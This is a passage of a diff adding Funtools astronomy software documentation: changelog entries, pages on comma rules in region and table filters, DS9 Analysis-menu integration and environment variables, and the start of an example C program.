</UL>
|
||||
|
||||
<H2>Beta release 1.0.b12 (9/5/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Improved the performance of panda regions so that the funcnts
|
||||
"wall time" now is proportional to the size of the panda region, not
|
||||
the size of the image. (The latter is the case with the pie shape; use
|
||||
of panda is recommended over pie.) This means that it is possible to
|
||||
run funcnts on an ACIS file at zoom 1 (8192x8192) in seconds rather
|
||||
than (tens of) minutes.
|
||||
|
||||
<P>
|
||||
<LI> Added support for INET sockets to gio and hence, to funtools.
|
||||
This means that you can read/write from/to sockets on other machines,
|
||||
creating a distributed pipeline. For example:
|
||||
<PRE>
|
||||
on m1: funevents foo.ev m2:1428
|
||||
on m2: funevents :1428 m3:1428
|
||||
on m3: funevents :1428 ...
|
||||
</PRE>
|
||||
etc. Tests indicate that this is faster than pipes on a single
|
||||
machine, once the CPU is saturated on that machine. (But note that it
|
||||
is not faster until the CPU is saturated, due to the efficiency of
|
||||
Unix pipes and the I/O wait time on non-saturated CPUs.) This new
|
||||
facility implements the parallel processing technique called "process
|
||||
decomposition" for pipelines, in which a pipeline process is run on
|
||||
several machines at once, with different machines handling separate
|
||||
parts of the pipeline process.
|
||||
<P>
|
||||
NB: socket support requires that the libraries:
|
||||
<PRE>
|
||||
-lsocket -lnsl
|
||||
</PRE>
|
||||
be added to the Solaris link line.
|
||||
|
||||
<P>
|
||||
<LI> Added support for the row#=lo:hi keyword to process specific rows
|
||||
in a FITS binary table. For example:
|
||||
<PRE>
|
||||
funevents "test.ev[row#=3:8]" stdout ...
|
||||
or
|
||||
funevents "test.ev[row#=(3,8)]" stdout ...
|
||||
</PRE>
|
||||
will only process rows 3 to 8 (inclusive) of the test.ev file. Along
|
||||
with image section specification, use of the row#= keyword implements
|
||||
the parallel processing technique called "data decomposition", in
|
||||
which several copies of a single program operate on different parts of
|
||||
a single data file.
|
||||
|
||||
<P>
|
||||
<LI> Added guard code to image region processing to catch illegal event
|
||||
values.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug when writing FITS image extensions in which dim1, dim2,
|
||||
and bitpix were being output as 0.
|
||||
|
||||
<P>
|
||||
<LI> reversed the y row order of displayed images in fundisp, so that pixel
|
||||
(1,1) is in the lower left corner, as is the case for ds9 image display.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b11 (8/10/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Fixed annulus accelerators and panda regions -- again. Old
|
||||
problems (from the original implementation) were uncovered related to
|
||||
the use of these shapes in boolean expressions. Documented an old
|
||||
restriction that panda and accelerators must be put last in a boolean
|
||||
expression and added code to signal an error if they are not placed last.
|
||||
|
||||
<P>
|
||||
<LI> The behavior of the point shape was changed so that multiple x,y
|
||||
pairs in a single shape specifier now are assigned different region
|
||||
ids. This makes the behavior of points and annuli consistent with one
|
||||
another.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b10 (8/08/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Fixed annulus accelerators and panda regions. These were
|
||||
broken when dynamic loading was implemented.
|
||||
|
||||
<P>
|
||||
<LI> Fixed a bug in the event filter body code (i.e., the basis for
|
||||
the slave filter program). Reading the data sometimes incorrectly
|
||||
calculated the number of events being passed -- which only showed up
|
||||
occasionally on the Alpha!
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b9 (8/03/00)</H2>
|
||||
<UL>
|
||||
<P>
|
||||
<LI> Removed compilation of some extraneous routines from wcs library.
|
||||
Also renamed wcssubs directory to wcs.
|
||||
|
||||
<P>
|
||||
<LI> Added calls to hlength() before wcsinit(). This is necessary in
|
||||
ds9 (and is a safeguard in other programs) because once hlength() is
|
||||
called before any invocation of wcsinit(), it must always be used.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in filter code in which CTYPE1 and CTYPE2 param values
|
||||
were not being passed to wcsinit() as valid FITS strings: the single
|
||||
quotes were missing.
|
||||
|
||||
<P>
|
||||
<LI> Fixed a bug in fitsy in which the card buffer was not being
|
||||
null-terminated properly when a "card insert" call reallocated space
|
||||
for more cards.
|
||||
|
||||
<P>
|
||||
<LI> Added protective code so that one cannot set FILTER_PTYPE to
|
||||
"dynamic" if dynamic filter objects are not available.
|
||||
|
||||
<P>
|
||||
<LI> Ported to Debian Linux, which (believe it or not) required
|
||||
removal of extraneous strdup() and strstr() declarations in the code
|
||||
(apparently these are macros in that version of Debian gcc, so you
|
||||
cannot declare them).
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b8 (8/01/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Added new filter ptype ("contained"), which builds a separate
|
||||
process by compiling both the main routine and the region code. This
|
||||
is different from the "process" ptype, which compiles the main
|
||||
routine, but links in pre-compiled region code (in order to make the
|
||||
program build more quickly). It is needed by ds9 so that the latter
|
||||
does not have to keep track of the compiled region code module.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b7 (7/25/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Changed filter code so that, in simple cases, we can access the
|
||||
contents of a file. This is needed so that funcnts can work properly in one
|
||||
oft-used case, i.e., if the file foo contains:
|
||||
<PRE>
|
||||
circle 5 5 1
|
||||
circle 4 4 1
|
||||
</PRE>
|
||||
then:
|
||||
<PRE>
|
||||
funcnts foo.fits @foo
|
||||
</PRE>
|
||||
now will display the 2 regions in its output, instead of displaying the
|
||||
near useless "@foo". This only works for simple cases where only a file
|
||||
is input, not in odd combinations like:
|
||||
<PRE>
|
||||
funcnts foo.fits "@foo,circle 1 1 1"
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<LI> Added programming tutorial and enhanced the programming
|
||||
reference documentation.
|
||||
|
||||
<P>
|
||||
<LI> Ported to Windows via the Cygwin environment from
|
||||
RedHat. We tested on an NT box, which has decent multi-tasking
|
||||
support. Whether it works on Windows95 is unknown.
|
||||
|
||||
<P>
|
||||
<LI> Upgraded WCS libraries to 2.8.3.
|
||||
|
||||
<P>
|
||||
<LI> Ported to new and strict SGI C compiler, which uncovered
|
||||
lots of unused variables, etc.
|
||||
|
||||
<P>
|
||||
<LI> Fixed FunParamPut status return.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b6 (7/15/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Ran Purify with each high level program and each funtest
|
||||
program.
|
||||
<P>
|
||||
<LI> Changed behavior of merge=update option of
|
||||
FunColumnSelect() so that the update of the user column value only
|
||||
takes place if the user mode has "w" in it. Previously, merge=update
|
||||
overrode the mode flag and always updated the user value. Note that
|
||||
all calls to FunColumnSelect with merge=update must change "r" to "rw"
|
||||
in order to have that user column merged. (The merge=replace already
|
||||
was checking the mode flag -- the fact that they were doing different
|
||||
things is a bug.)
|
||||
<P>
|
||||
<LI> Added ability to FunOpen extensions by HDU name. (I
|
||||
thought I had already done this!)
|
||||
<P>
|
||||
<LI> Fixed bug that was adding a NULL table at the end of
|
||||
most binary table files (i.e., those that were not copying the rest of
|
||||
the input file).
|
||||
<P>
|
||||
<LI> Re-ported to Alpha. The problem found most often was the
|
||||
casting of pointers to ints when doing pointer calculations, i.e.:
|
||||
<PRE>
|
||||
char *s, *t;
|
||||
n = ((int)s - (int)t);
|
||||
</PRE>
|
||||
which is invalid on the 64-bit Alpha. Instead use:
|
||||
<PRE>
|
||||
char *s, *t;
|
||||
n = (s - t);
|
||||
</PRE>
|
||||
Also broadened the check for use of dlopen in configure to match Alpha's
|
||||
library configurations (On Alpha, dlopen is in libc).
|
||||
|
||||
<P>
|
||||
<LI> Changed FunColumnActivate() so that funtools will
|
||||
process columns in the sorted order specified by that routine. Thus:
|
||||
<PRE>
|
||||
fundisp foo.ev "time y x"
|
||||
</PRE>
|
||||
will display columns in that order.
|
||||
|
||||
<P>
|
||||
Sorting does not take place if the activate list contains only exclude
|
||||
columns (since there is nothing to sort). Also, you can turn off
|
||||
sorting altogether (mimicking the old behavior) by calling
|
||||
FunColumnActivate() with a "sort=false" in the plist argument:
|
||||
<PRE>
|
||||
FunColumnActivate(fun, "y x", "sort=false");
|
||||
</PRE>
|
||||
or by adding "sort=false" to the activate string itself:
|
||||
<PRE>
|
||||
# by default, its sorted
|
||||
fundisp $E "time y x"
|
||||
TIME Y X
|
||||
---------------- ------- -------
|
||||
6.8500 -7 -7
|
||||
6.8600 -7 -7
|
||||
</PRE>
|
||||
while:
|
||||
<PRE>
|
||||
# turn off sorting
|
||||
./fundisp $E "time y x sort=false"
|
||||
X Y TIME
|
||||
------- ------- ----------------
|
||||
-7 -7 6.8500
|
||||
-7 -7 6.8600
|
||||
-7 -7 6.8700
|
||||
</PRE>
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b5 (7/8/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Changed all FunParamSet calls to FunParamPut, to make the
|
||||
naming consistent with FunImagePut, FunEventsPut, etc.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bugs preventing tlmin/tlmax from being changed by the
|
||||
user in binary tables. Also tlmin/tlmax are now written out using a
|
||||
data type that matches the data type of the respective column.
|
||||
|
||||
<P>
|
||||
<LI> Extended filter syntax to allow "," as separator between
|
||||
filename and filters (as well as brackets), i.e.:
|
||||
<PRE>
|
||||
foo.fits,events # event extension
|
||||
foo.fits,pha==1 # filter on default extension
|
||||
foo.fits,1 # first extension
|
||||
</PRE>
|
||||
Note that all but simple expressions will need to be quoted because
|
||||
of the shell:
|
||||
<PRE>
|
||||
foo.fits,pha==1&&pi==2 # & tells shell to run in bkgd
|
||||
foo.fits,pha==1||pi==2 # similar problems with pipes
|
||||
foo.fits,circle(1,2,3) # parens are grabbed by shell
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<LI> Fixed configure so that --with-lib is no longer necessary
|
||||
to generate a single funtools.a library. Removed this argument from
|
||||
saoconfig. Note that:
|
||||
<PRE>
|
||||
./configure
|
||||
</PRE>
|
||||
|
||||
now works properly again, so saoconfig should not be used.
|
||||
|
||||
<P>
|
||||
<LI> Changed FunFlush() mode argument (single characters) to a
|
||||
plist argument (keyword arguments). In particular,
|
||||
<PRE>
|
||||
FunFlush(fun, "C");
|
||||
</PRE>
|
||||
is now:
|
||||
<PRE>
|
||||
FunFlush(fun, "copy=remaining");
|
||||
(or FunFlush(fun, "copy=remainder"); )
|
||||
</PRE>
|
||||
|
||||
This syntax extension allows FunFlush to support the copy of the
|
||||
extension associated with the reference handle, which allows one to
|
||||
copy any extension from an input file to an output file:
|
||||
<PRE>
|
||||
/* open a new input extension */
|
||||
ifun = FunOpen(...);
|
||||
/* make this new extension the output reference extension */
|
||||
FunInfoPut(ofun, FUN_IFUN, &ifun, 0);
|
||||
/* copy the current reference extension to output */
|
||||
FunFlush(ofun, "copy=reference");
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<LI> Fixed bugs in region parser that caused pure floating
|
||||
point positions (i.e., numbers w/o format characters) always to be
|
||||
interpreted as pixels. Also fixed galactic and ecliptic conversions.
|
||||
</UL>
|
||||
|
||||
<HR>
|
||||
<P>
|
||||
<A HREF="./help.html">Index to the Funtools Help Pages</A>
|
||||
|
||||
<HR>
|
||||
<A HREF="./help.html">Index to the Funtools Help Pages</A>
|
||||
|
||||
<H5>Last updated: November 17, 2005</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
|
@ -0,0 +1,117 @@
|
|||
<!-- =defdoc funcombine funcombine n -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>Combining Region and Table Filters</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
|
||||
<!-- =section funcombine NAME -->
|
||||
<H2><A NAME="funcombine">FunCombine: Combining Region and Table Filters</A></H2>
|
||||
|
||||
<!-- =section funcombine SYNOPSIS -->
|
||||
<H2>Summary</H2>
|
||||
<P>
|
||||
This document discusses the conventions for combining region and table
|
||||
filters, especially with regards to the comma operator.
|
||||
|
||||
|
||||
<!-- =section funcombine DESCRIPTION -->
|
||||
<H2><A NAME="conventions">Comma Conventions</A></H2>
|
||||
<P>
|
||||
Filter specifications consist of a series of boolean expressions,
|
||||
separated by commas. These expressions can be table filters,
|
||||
spatial region filters, or combinations thereof. Unfortunately,
|
||||
common usage requires that the comma operator must act differently
|
||||
in different situations. Therefore, while its use is intuitive in
|
||||
most cases, commas can be a source of confusion.
|
||||
|
||||
<P>
|
||||
According to long-standing usage in IRAF, when a comma separates two
|
||||
table filters, it takes on the meaning of a boolean <B>and</B>. Thus:
|
||||
<PRE>
|
||||
foo.fits[pha==1,pi==2]
|
||||
</PRE>
|
||||
is equivalent to:
|
||||
<PRE>
|
||||
foo.fits[pha==1 && pi==2]
|
||||
</PRE>
|
||||
|
||||
When a comma separates two spatial region filters, however, it has
|
||||
traditionally taken on the meaning of a boolean <B>or</B>. Thus:
|
||||
<PRE>
|
||||
foo.fits[circle(10,10,3),ellipse(20,20,8,5)]
|
||||
</PRE>
|
||||
is equivalent to:
|
||||
<PRE>
|
||||
foo.fits[circle(10,10,3) || ellipse(20,20,8,5)]
|
||||
</PRE>
|
||||
(except that in the former case, each region is given a unique id
|
||||
in programs such as funcnts).
|
||||
|
||||
<P>
|
||||
Region and table filters can be combined:
|
||||
<PRE>
|
||||
foo.fits[circle(10,10,3),pi=1:5]
|
||||
</PRE>
|
||||
or even:
|
||||
<PRE>
|
||||
foo.fits[pha==1&&circle(10,10,3),pi==2&&ellipse(20,20,8,5)]
|
||||
</PRE>
|
||||
In these cases, it is not obvious whether the command should utilize an
|
||||
<B>or</B> or <B>and</B> operator. We therefore arbitrarily chose to
|
||||
implement the following rule:
|
||||
<UL>
|
||||
<LI> if both expressions contain a region, the operator used is <B>or</B>.
|
||||
<LI> if one (or both) expression(s) does not contain a region, the operator
|
||||
used is <B>and</B>.
|
||||
</UL>
|
||||
This rule handles the cases of pure regions and pure column filters properly.
|
||||
It unambiguously assigns the boolean <B>and</B> to all mixed cases. Thus:
|
||||
<PRE>
|
||||
foo.fits[circle(10,10,3),pi=1:5]
|
||||
</PRE>
|
||||
and
|
||||
<PRE>
|
||||
foo.fits[pi=1:5,circle(10,10,3)]
|
||||
</PRE>
|
||||
both are equivalent to:
|
||||
<PRE>
|
||||
foo.fits[circle(10,10,3) && pi=1:5]
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
[NB: This arbitrary rule <b>replaces the previous arbitrary rule</b>
|
||||
(pre-funtools 1.2.3) which stated:
|
||||
<UL>
|
||||
<LI> if the 2nd expression contains a region, the operator used is <B>or</B>.
|
||||
<LI> if the 2nd expression does not contain a region, the operator
|
||||
used is <B>and</B>.
|
||||
</UL>
|
||||
In that scenario, the <B>or</B> operator was implied by:
|
||||
<PRE>
|
||||
pha==4,circle 5 5 1
|
||||
</PRE>
|
||||
while the <B>and</B> operator was implied by
|
||||
<PRE>
|
||||
circle 5 5 1,pha==4
|
||||
</PRE>
|
||||
Experience showed that this non-commutative treatment of the comma
|
||||
operator was confusing and led to unexpected results.]
|
||||
|
||||
<P>
|
||||
The comma rule must be considered provisional: comments and complaints
|
||||
are welcome to help clarify the matter. Better still, we recommend
|
||||
that the comma operator be avoided in such cases in favor of an
|
||||
explicit boolean operator.
|
||||
|
||||
<!-- =section funcombine SEE ALSO -->
|
||||
<!-- =text See funtools(n) for a list of Funtools help pages -->
|
||||
<!-- =stop -->
|
||||
|
||||
<P>
|
||||
<A HREF="./help.html">Go to Funtools Help Index</A>
|
||||
|
||||
<H5>Last updated: November 16, 2005</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
Binary file not shown.
|
@ -0,0 +1,105 @@
|
|||
<!-- =defdoc funds9 funds9 n -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>Funtools and DS9 Image Display</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
|
||||
<!-- =section funds9 NAME -->
|
||||
<H2><A NAME="funds9">FunDS9: Funtools and DS9 Image Display</A></H2>
|
||||
|
||||
<!-- =section funds9 SYNOPSIS -->
|
||||
<H2>Summary</H2>
|
||||
Describes how funtools can be integrated into the ds9 Analysis menu.
|
||||
|
||||
<!-- =section funds9 DESCRIPTION -->
|
||||
<H2>Description</H2>
|
||||
<P>
|
||||
<A HREF="http://hea-www.harvard.edu/saord/ds9/index.html">
|
||||
SAOImage/DS9</A> is an astronomical imaging and data visualization
|
||||
application used by astronomers around the world. DS9 can display
|
||||
standard astronomical FITS images and binary tables, but also has
|
||||
support for displaying raw array files, shared memory files, and data
|
||||
files automatically retrieved via FTP and HTTP. Standard functional
|
||||
capabilities include multiple frame buffers, colormap and region
|
||||
manipulation, and many data scaling algorithms. DS9's advanced
|
||||
features include TrueColor visuals, deep frame buffers, true
|
||||
PostScript printing, and display of image mosaics. The program's
|
||||
support of image tiling, "blinking", arbitrary zoom, rotation, and pan
|
||||
is unparalleled in astronomy. It also has innovative support for
|
||||
automatic retrieval and display of standard image data such as the
|
||||
Digital Sky Survey (using servers at SAO, StScI, or ESO).
|
||||
|
||||
<P>
|
||||
DS9 can communicate with external programs such as Funtools using the
|
||||
<A HREF="http://hea-www.harvard.edu/saord/xpa/index.html">XPA</A>
|
||||
messaging system. In addition, programs can be integrated directly
|
||||
into the DS9 GUI by means of a configurable Analysis menu. By
|
||||
default, the DS9 Analysis menu contains algorithms deemed essential to
|
||||
the core functions of DS9, e.g., display cross-cuts of data,
|
||||
iso-intensity contours, and WCS grids. However, new programs can be
|
||||
added to DS9 by creating a set-up file which can be loaded into DS9
|
||||
to reconfigure the Analysis menu.
|
||||
|
||||
<PRE>
|
||||
The basic format of the analysis set-up file is:
|
||||
<P>
|
||||
#
|
||||
# Analysis command descriptions:
|
||||
# menu label/description
|
||||
# file templates for this command
|
||||
# "menu" (add to menu) |"bind" (bind to key)
|
||||
# analysis command line
|
||||
</PRE>
|
||||
|
||||
For example, the funcnts program can be specified in this way:
|
||||
<PRE>
|
||||
Funcnts (counts in source/bkgd regions; options: none)
|
||||
*
|
||||
menu
|
||||
funcnts $filename $regions(source,,) $regions(background,,) | $text
|
||||
</PRE>
|
||||
As shown above, DS9 supports a macro facility to provide information
|
||||
as well as task support to command lines. For example, the $regions
|
||||
macro is expanded by DS9 to provide the current source and/or
|
||||
background region to the analysis command. The $text macro is expanded
|
||||
to generate a text window display. It also is possible to query for
|
||||
parameters using a $param macro, plot data using a $plot macro,
|
||||
etc. See the DS9 documentation for further details.
|
||||
|
||||
<P>
|
||||
A set-up file called <A HREF="./funtools.ds9">funtools.ds9</A> will
|
||||
load some useful Funtools applications (counts in regions, radial
|
||||
profile, X-ray light curve and energy spectrum, 1D histogram) into the DS9
|
||||
Analysis menu (version 2.1 and above). The file resides in the bin
|
||||
directory where Funtools programs are installed. It can be manually
|
||||
loaded into DS9 from the <B>Load Analysis Commands ...</B> option of
|
||||
the <B>Analysis</B> menu. Alternatively, you can tell DS9 to load
|
||||
this file automatically at start-up time by adding the pathname to the
|
||||
<B>Edit</B>-><B>Preferences</B>-><B>Analysis Menu</B>-><B>Analysis
|
||||
File</B> menu option. (NB: make sure you select
|
||||
<B>Edit</B>-><B>Preferences</B>-><B>Save Preferences</B> after setting
|
||||
the pathname.)
|
||||
|
||||
<P>
|
||||
The tasks in this setup file generally process the original disk-based
|
||||
FITS file. Funcnts-based results (radial profile, counts in regions)
|
||||
are presented in WCS units, if present in the FITS header. For
|
||||
situations where a disk file is not available (e.g., image data
|
||||
generated and sent to DS9's 'fits' XPA access point), versions of the
|
||||
radial profile and counts in regions tasks also are also offered
|
||||
utilizing DS9's internal image data. Results are presented in pixels.
|
||||
Aside from the units, the results should be identical to the file-based
|
||||
results.
|
||||
|
||||
<!-- =section funds9 SEE ALSO -->
|
||||
<!-- =text See funtools(n) for a list of Funtools help pages -->
|
||||
<!-- =stop -->
|
||||
|
||||
<P>
|
||||
<A HREF="./help.html">Go to Funtools Help Index</A>
|
||||
|
||||
<H5>Last updated: November 16, 2005</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
|
@ -0,0 +1,222 @@
|
|||
<!-- =defdoc funenv funenv n -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>Funtools Environment Variables</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
|
||||
<!-- =section funenv NAME -->
|
||||
<H2><A NAME="funenv">FunEnv: Funtools Environment Variables</A></H2>
|
||||
|
||||
<!-- =section funenv SYNOPSIS -->
|
||||
<H2>Summary</H2>
|
||||
Describes the environment variables which can be used to tailor the overall
|
||||
Funtools environment.
|
||||
|
||||
<!-- =section funenv DESCRIPTION -->
|
||||
<H2>Description</H2>
|
||||
<P>
|
||||
The following environment variables are supported by Funtools:
|
||||
<DL>
|
||||
<P>
|
||||
<DT><B>FITS_EXTNAME</B>
|
||||
<DD> The <B>FITS_EXTNAME</B> environment variable specifies the
|
||||
default FITS extension name when <A HREF="./library.html#funopen">FunOpen()</A> is called on a file lacking
|
||||
a primary image. Thus,
|
||||
<PRE>
|
||||
setenv FITS_EXTNAME "NEWEV"
|
||||
</PRE>
|
||||
will allow you to call <A HREF="./library.html#funopen">FunOpen()</A> on files without specifying NEWEV in
|
||||
the
|
||||
<A HREF="./files.html">Funtools bracket specification</A>.
|
||||
If no FITS_EXTNAME variable is defined and the extension name also is
|
||||
not passed in the bracket specification, then the default will be to
|
||||
look for standard X-ray event table extension names "EVENTS" or
|
||||
"STDEVT" (we are, after all, and X-ray astronomy group at heart!).
|
||||
|
||||
<P>
|
||||
<DT><B>FITS_EXTNUM</B>
|
||||
<DD> The <B>FITS_EXTNUM</B> environment variable specifies the
|
||||
default FITS extension number when <A HREF="./library.html#funopen">FunOpen()</A> is called on a file lacking
|
||||
a primary image. Thus,
|
||||
<PRE>
|
||||
setenv FITS_EXTNUM 7
|
||||
</PRE>
|
||||
will allow you to call <A HREF="./library.html#funopen">FunOpen()</A> on files to open the seventh
|
||||
extension without specifying the number in the
|
||||
<A HREF="./files.html">Funtools bracket specification</A>.
|
||||
|
||||
<P>
|
||||
<DT><B>FITS_BINCOLS</B> and <B>EVENTS_BINCOLS</B>
|
||||
<DD> These environment variable specifies the default binning key for
|
||||
FITS binary tables and raw event files, respectively. They can be
|
||||
over-ridden using the <B>bincols=[naxis1,naxis2]</B> keyword in a
|
||||
<A HREF="./files.html">Funtools bracket specification</A>.
|
||||
The value of each environment variable
|
||||
is a pair of comma-delimited columns, enclosed in parentheses, to use
|
||||
for binning. For example, if you want to bin on detx and dety by
|
||||
default, then use:
|
||||
<PRE>
|
||||
setenv FITS_BINCOLS "(detx,dety)"
|
||||
</PRE>
|
||||
in preference to adding a bincols specification to each filename:
|
||||
<PRE>
|
||||
foo.fits[bincols=(detx,dety)]
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<DT><B>FITS_BITPIX</B> and <B>EVENTS_BITPIX</B>
|
||||
<DD> These environment variable specifies the default bitpix value for
|
||||
binning FITS binary tables and raw event files, respectively. They can
|
||||
be over-ridden using the <B>bitpix=[value]</B> keyword in a
|
||||
<A HREF="./files.html">Funtools bracket specification</A>. The value
|
||||
of each environment variable is one of the standard FITS bitpix values
|
||||
(8,16,32,-32,-64). For example, if you want binning routines to
|
||||
create a floating array, then use:
|
||||
<PRE>
|
||||
setenv FITS_BITPIX -32
|
||||
</PRE>
|
||||
in preference to adding a bitpix specification to each filename:
|
||||
<PRE>
|
||||
foo.fits[bitpix=-32]
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<DT><B>ARRAY</B>
|
||||
<DD> The <B>ARRAY</B> environment variable specifies the default
|
||||
definition of an array file for Funtools.
|
||||
It is used if there is no array specification passed in the
|
||||
<B>ARRAY()</B> directive in a
|
||||
<A HREF="./files.html#arrays">Non-FITS Array specification</A>.
|
||||
The value of the environment variable is a valid array specification such as:
|
||||
<PRE>
|
||||
setenv ARRAY "s100.150"
|
||||
foo.arr[ARRAY()]
|
||||
</PRE>
|
||||
This can be defined in preference to adding the specification to each filename:
|
||||
<PRE>
|
||||
foo.arr[ARRAY(s100.150)]
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<DT><B>EVENTS</B>
|
||||
<DD> The <B>EVENTS</B> environment variable specifies the default
|
||||
definition of an raw event file for Funtools.
|
||||
It is used if there is no EVENTS specification passed in the
|
||||
<B>EVENTS()</B> directive in a
|
||||
<A HREF="./files.html#events">Non-FITS EVENTS specification</A>.
|
||||
The value of the environment variable is a valid EVENTS specification such as:
|
||||
<PRE>
|
||||
setenv EVENTS "x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024"
|
||||
foo.ev[EVENTS()]
|
||||
</PRE>
|
||||
This can be defined in preference to adding the specification to each filename:
|
||||
<PRE>
|
||||
foo.ev[EVENTS(x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024)]
|
||||
</PRE>
|
||||
</DL>
|
||||
|
||||
The following filter-related environment variables are supported by Funtools:
|
||||
<DL>
|
||||
|
||||
<P>
|
||||
<DT><B>FILTER_PTYPE</B>
|
||||
<DD> The <B>FILTER_PTYPE</B> environment variable specifies how to
|
||||
build a filter. There are three possible methods:
|
||||
<DL>
|
||||
<DT>process or p
|
||||
<DD>The filter is compiled and linked against the funtools library (which
|
||||
must therefore be accessible in the original install directory) to produce
|
||||
a slave program. This program is fed events or image data and returns
|
||||
filter results.
|
||||
|
||||
<DT>dynamic or d (gcc only)
|
||||
<DD>The filter is compiled and linked against the funtools library (which
|
||||
must therefore be accessible in the original install directory) to produce
|
||||
a dynamic shared object, which is loaded into the funtools program and
|
||||
executed as a subroutine. (Extensive testing has shown that, contrary to
|
||||
expectations, this method is no faster than using a slave process.)
|
||||
|
||||
<DT>contained or c
|
||||
<DD>The filter and all supporting region code is compiled and linked
|
||||
without reference to the funtools library to produce a slave program
|
||||
(which is fed events or image data and returns filter results). This method
|
||||
is slower than the other two, because of the time it takes to compile the
|
||||
region filtering code. It is used by stand-alone programs such as ds9,
|
||||
which do not have access to the funtools library.
|
||||
</DL>
|
||||
|
||||
By default, <B>dynamic</B> is generally used for gcc compilers and
|
||||
<B>process</B> for other compilers. However the filter building algorithm
|
||||
will check for required external files and will use <B>contained</B> is
|
||||
these are missing.
|
||||
|
||||
<P>
|
||||
<DT><B>FUN_MAXROW</B>
|
||||
<DD> The <B>FUN_MAXROW</B> environment variable is used by core
|
||||
row-processing Funtools programs (funtable, fundisp, funcnts, funhist,
|
||||
funmerge, and funcalc) to set the maximum number of rows read at once
|
||||
(i.e. it sets the third argument to the FunTableRowGet() call). The
|
||||
default is 8192. Note that this variable is a convention only: it will
|
||||
not be a part of a non-core Funtools program unless code is explicitly
|
||||
added, since each call to FunTableRowGet() specifies its own maximum
|
||||
number of rows to read. NB: if you make this value very large, you
|
||||
probably will need to increase <B>FUN_MAXBUFSIZE</B> (see below) as well.
|
||||
|
||||
<P>
|
||||
<DT><B>FUN_MAXBUFSIZE</B>
|
||||
<DD> The <B>FUN_MAXBUFSIZE</B> environment variable is used to limit the
|
||||
max buffer size that will be allocated to hold table row data. This
|
||||
buffer size is calculated to be the row size of the table multiplied
|
||||
by the maximum number of rows read at once (see above). Since the
|
||||
row size is unlimited (and we have examples of it being larger than 5
|
||||
Mb), it is possible that the total buffer size will exceed the machine
|
||||
capabilities. We therefore set a default value of 5Mb for the max buffer
|
||||
size, and adjust maxrow so that the total size calculated is less than
|
||||
this max buffer size. (If the row size is greater than this max buffer
|
||||
size, then maxrow is set to 1.) This environment variable will change
|
||||
the max buffer size allowed.
|
||||
|
||||
<P>
|
||||
<DT><B>FILTER_CC</B>
|
||||
<DD> The <B>FILTER_CC</B> environment variable specifies the compiler to
|
||||
use for compiling a filter specification. You also can use the <B>CC</B>
|
||||
environment variable. If neither has been set, then gcc will be used
|
||||
if available. Otherwise cc is used if available.
|
||||
|
||||
<P>
|
||||
<DT><B>FILTER_EXTRA</B>
|
||||
<DD> The <B>FILTER_EXTRA</B> environment variable specifies extra options
|
||||
to add to a filter compile command line. In principle, you can add libraries,
|
||||
include files, and compiler switches. This variable should be used with care.
|
||||
|
||||
<P>
|
||||
<DT><B>FILTER_TMPDIR</B>
|
||||
<DD> The <B>FILTER_TMPDIR</B> environment variable specifies the temporary
|
||||
directory for filter compilation intermediate files. You also can use
|
||||
the <B>TMPDIR</B> and <B>TMP</B> variables. By default, /tmp is used
|
||||
as the temporary directory.
|
||||
|
||||
<P>
|
||||
<DT><B>FILTER_KEEP</B>
|
||||
<DD> The <B>FILTER_KEEP</B> environment variable specifies whether the
|
||||
intermediate filter files (i.e. C source file and compile log file)
|
||||
should be saved after a filter is built. The default is "false", so that
|
||||
these intermediate files are deleted. This variable is useful for debugging,
|
||||
but care should be taken to reset its value to false when debugging is
|
||||
complete.
|
||||
|
||||
</DL>
|
||||
|
||||
<!-- =section funenv SEE ALSO -->
|
||||
<!-- =text See funtools(n) for a list of Funtools help pages -->
|
||||
<!-- =stop -->
|
||||
|
||||
<P>
|
||||
<A HREF="./help.html">Go to Funtools Help Index</A>
|
||||
|
||||
<H5>Last updated: November 16, 2005</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
||||
|
|
@ -0,0 +1,130 @@
|
|||
/*
|
||||
*
|
||||
* evcol.c -- example program for processing all extensions and adding a
|
||||
* column to the binary tables
|
||||
*
|
||||
*/
|
||||
#include <funtools.h>
|
||||
#include <word.h>
|
||||
|
||||
#define MAXROW 8192
|
||||
|
||||
typedef struct evstruct{
|
||||
char shape[17];
|
||||
int mycol;
|
||||
} *Ev, EvRec;
|
||||
|
||||
